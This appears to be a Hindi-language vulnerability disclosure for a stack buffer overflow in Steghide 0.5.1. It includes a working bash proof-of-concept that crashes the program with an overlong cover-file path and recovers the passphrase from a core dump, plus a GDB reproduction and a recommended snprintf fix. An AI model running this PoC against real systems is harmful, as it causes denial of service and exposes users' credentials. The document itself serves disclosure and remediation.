erikdervishi03/cve-2026-31024Steghide 0.5.1 में स्टैक-आधारित बफर ओवरफ्लो के लिए प्रमाण-अवधारणा (PoC)। यह दर्शाता है कि लंबे फ़ाइल पथ कैसे क्रैश (DoS) ट्रिगर करते हैं और सिस्टम कोर डंप के माध्यम से संवेदनशील डेटा (पासवर्ड) लीक करते हैं।
| फ़ील्ड | मान |
|---|
| लक्ष्य अनुप्रयोग | Steghide (Linux बाइनरी) |
| प्रभावित संस्करण | 0.5.1 (पुष्ट); पूर्व संस्करण भी प्रभावित हो सकते हैं |
| भेद्यता प्रकार | स्टैक-आधारित बफ़र ओवरफ़्लो (CWE-121) |
| प्रभाव | सेवा अस्वीकार (DoS), सूचना प्रकटीकरण |
| परीक्षण वातावरण | Kali Linux |
| प्रकटीकरण तिथि | 16 जनवरी, 2026 |
| लेखक | Erik Dervishi |
| सॉफ़्टवेयर लिंक | https://salsa.debian.org/pkg-security-team/steghide |
| CVSS v3.1 स्कोर | 5.5 (मध्यम) |
| CVSS वेक्टर | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H |
गंभीरता का कारण:
मध्यम गंभीरता स्कोर विश्वसनीय स्थानीय शोषण को दर्शाता है जो सेवा अस्वीकार और कोर डंप के माध्यम से संवेदनशील क्रेडेंशियल्स के प्रकटीकरण दोनों की ओर ले जाता है।
steghide कमांड-लाइन उपयोगिता (संस्करण 0.5.1) में एक स्टैक-आधारित बफ़र ओवरफ़्लो भेद्यता पाई गई। यह भेद्यता -cf (कवर फ़ाइल) आर्गुमेंट में अत्यधिक लंबा फ़ाइलपथ पास करने पर ट्रिगर होती है।
जबकि एप्लिकेशन स्टैक स्मैशिंग प्रोटेक्शन (SSP/कैनरी) के साथ संकलित किया गया है, जो प्रक्रिया को समाप्त करके तत्काल आर्बिट्रेरी कोड निष्पादन (RCE) को सफलतापूर्वक रोकता है, यह रक्षात्मक तंत्र एक द्वितीयक भेद्यता उत्पन्न करता है: सूचना प्रकटीकरण।
विश्लेषण पुष्टि करता है कि संवेदनशील रनटाइम डेटा—विशेष रूप से -p आर्गुमेंट के माध्यम से पास किया गया पासफ़्रेज़—क्रैश के समय प्रक्रिया स्टैक मेमोरी में उजागर रहता है। कोर डंप को बनाए रखने के लिए कॉन्फ़िगर किए गए सिस्टम (विकास, CI/CD या गलत कॉन्फ़िगर किए गए प्रोडक्शन सर्वरों में सामान्य) पर, यह संवेदनशील डेटा डिस्क पर सादे पाठ में लिखा जाता है, जिससे हमलावर क्रेडेंशियल्स प्राप्त कर सकते हैं।
सूचना प्रकटीकरण के लिए इस भेद्यता का सफलतापूर्वक शोषण करने के लिए, निम्नलिखित शर्तों को पूरा किया जाना चाहिए:
स्थानीय पहुंच: हमलावर के पास सिस्टम तक स्थानीय पहुंच होनी चाहिए या steghide बाइनरी को आर्गुमेंट पास करने की क्षमता होनी चाहिए (जैसे, वेब शेल या रैपर स्क्रिप्ट के माध्यम से)।
कोर डंप सक्षम: लक्ष्य वातावरण को कोर डंप उत्पन्न करने के लिए कॉन्फ़िगर किया जाना चाहिए (जैसे, ulimit -c unlimited या fs.suid_dumpable=1) और उन्हें हमलावर के लिए सुलभ स्थान पर लिखना चाहिए।
मेमोरी में क्रेडेंशियल्स: पीड़ित को -p (पासफ़्रेज़) आर्गुमेंट का उपयोग करके कमांड निष्पादित करना चाहिए।
यह भेद्यता src/Embedder.cc में मौजूद है। एप्लिकेशन sprintf का उपयोग करके फ़ाइलनाम स्ट्रिंग की लंबाई को एक निश्चित आकार के बफ़र में फ़ॉर्मेट करने से पहले बाउंड-चेक करने में विफल रहता है।
भेद्य कोड स्निपेट:
// src/Embedder.cc
char buf[200];
// लंबाई सत्यापन के बिना sprintf का असुरक्षित उपयोग
sprintf(buf, _("embedding %s in %s..."), embstring.c_str(), cvrstring.c_str());
यदि स्ट्रिंग्स की संयुक्त लंबाई 200 बाइट्स से अधिक है, तो sprintf buf के अंत से आगे लिखता है, जिससे स्टैक दूषित हो जाता है।
बाइनरी GCC के स्टैक प्रोटेक्टर के साथ संकलित है।
क्योंकि __stack_chk_fail तुरंत abort() को लागू करता है, प्रक्रिया समाप्ति अचानक होती है। आधुनिक Linux सिस्टमों पर (जैसे, systemd-coredump का उपयोग करते हुए), यह तीव्र समाप्ति कभी-कभी कोर डंप को त्यागने या ट्रंकेट करने का कारण बन सकती है, जब तक कि सिस्टम को स्पष्ट रूप से डंप निर्माण को बाध्य करने के लिए कॉन्फ़िगर न किया गया हो।
निम्नलिखित bash स्क्रिप्ट भौतिक कोर डंप को बाध्य करने के लिए वातावरण कॉन्फ़िगर करती है और पासवर्ड निकालती है।
पूर्वापेक्षा: सुनिश्चित करें कि ulimit सेट है और कोर पैटर्न एक फ़ाइल पर निर्देशित है (सेटअप के लिए रूट की आवश्यकता है, लेकिन शोषण उपयोगकर्ता के रूप में चलता है)।
# सेटअप (दृश्यता सुनिश्चित करने के लिए रूट/sudo के रूप में एक बार चलाएँ):
# echo "core" | sudo tee /proc/sys/kernel/core_pattern
फ़ाइल: poc.sh
#!/bin/bash
# Steghide 0.5.1 PoC - स्टैक ओवरफ़्लो और सूचना लीक
# उपयोग: ./poc.sh
# 1. इस सत्र के लिए कोर डंप सक्षम करें
ulimit -c unlimited
# 2. पेलोड परिभाषित करें: 250 'A' अक्षर (200 बाइट बफ़र को ओवरफ़्लो करने के लिए पर्याप्त)
LONG_DIR="crash_test"
LONG_NAME=$(python3 -c "print('A' * 250 + '.wav')")
FULL_PATH="$LONG_DIR/$LONG_NAME"
echo "[*] दुर्भावनापूर्ण निर्देशिका संरचना बनाई जा रही है..."
rm -rf "$LONG_DIR" core* 2>/dev/null
mkdir -p "$LONG_DIR"
# 3. मान्य WAV फ़ाइल उत्पन्न करें (प्रारंभिक प्रारूप जाँच को बायपास करने के लिए आवश्यक)
python3 -c "
import struct
with open('$FULL_PATH', 'wb') as f:
# RIFF हेडर + WAVEfmt + PCM ऑडियो + डेटा चंक
# हम एक मान्य हेडर प्रदान करते हैं ताकि निष्पादन भेद्य Embedder.cc तर्क तक पहुँचे
header = b'RIFF' + struct.pack('<I', 50000) + b'WAVEfmt ' + struct.pack('<I', 16)
header += struct.pack('<HHIIHH', 1, 1, 44100, 44100, 2, 16)
header += b'data' + struct.pack('<I', 49964)
f.write(header + b'\x00' * 49964)
"
# 4. डमी गुप्त फ़ाइल बनाएँ
echo "CONFIDENTIAL_DATA" > secret.txt
# 5. क्रैश ट्रिगर करें
# क्रैश से पहले पासफ़्रेज़ 'MY_SECRET_PASS' मेमोरी में लोड हो जाएगा
echo "[!] Steghide लॉन्च किया जा रहा है..."
steghide embed -cf "$FULL_PATH" -ef secret.txt -p MY_SECRET_PASS
# 6. लीक सत्यापित करें
echo -e "\n[*] कोर डंप में आर्टिफैक्ट खोजा जा रहा है..."
CORE_FILE=$(ls core* | head -n 1)
if [ -f "$CORE_FILE" ]; then
echo "[+] डंप मिला: $CORE_FILE"
# बाइनरी डंप के अंदर पासवर्ड स्ट्रिंग खोजें
strings "$CORE_FILE" | grep "MY_SECRET_PASS" && echo -e "\n[!!!] गंभीर: क्रैश डंप से पासवर्ड सफलतापूर्वक लीक हुआ!"
else
echo "[-] कोई कोर फ़ाइल नहीं मिली। 'ulimit -c' या '/proc/sys/kernel/core_pattern' जाँचें।"
fi
GDB (Pwndbg एक्सटेंशन के साथ) का उपयोग करके मेमोरी स्थिति का मैन्युअल सत्यापन।
पुनरुत्पादन के चरण:
gdb --args /usr/bin/steghide embed -cf $(python3 -c "print('A'*200 + '/trigger.wav')") -ef secret.txt -p MY_SECRET_PASS
pwndbg> run
pwndbg> search "MY_SECRET_PASS"
देखा गया आउटपुट:
*** buffer overflow detected ***: terminated
Program received signal SIGABRT
pwndbg> search "MY_SECRET_PASS"
Searching for value: 'MY_SECRET_PASS'
[heap] 0x5555555bb1a8 'MY_SECRET_PASS'
[stack] 0x7fffffffd680 'MY_SECRET_PASS'
निष्कर्ष: संवेदनशील स्ट्रिंग MY_SECRET_PASS क्रैश के समय हीप और स्टैक मेमोरी दोनों खंडों में बनी रहती है, जो सूचना प्रकटीकरण वेक्टर की पुष्टि करती है।
गोपनीयता (उच्च):
उपलब्धता (उच्च):
अखंडता (निम्न):
// अनुशंसित सुधार
snprintf(buf, sizeof(buf), _("embedding %s in %s..."), ...);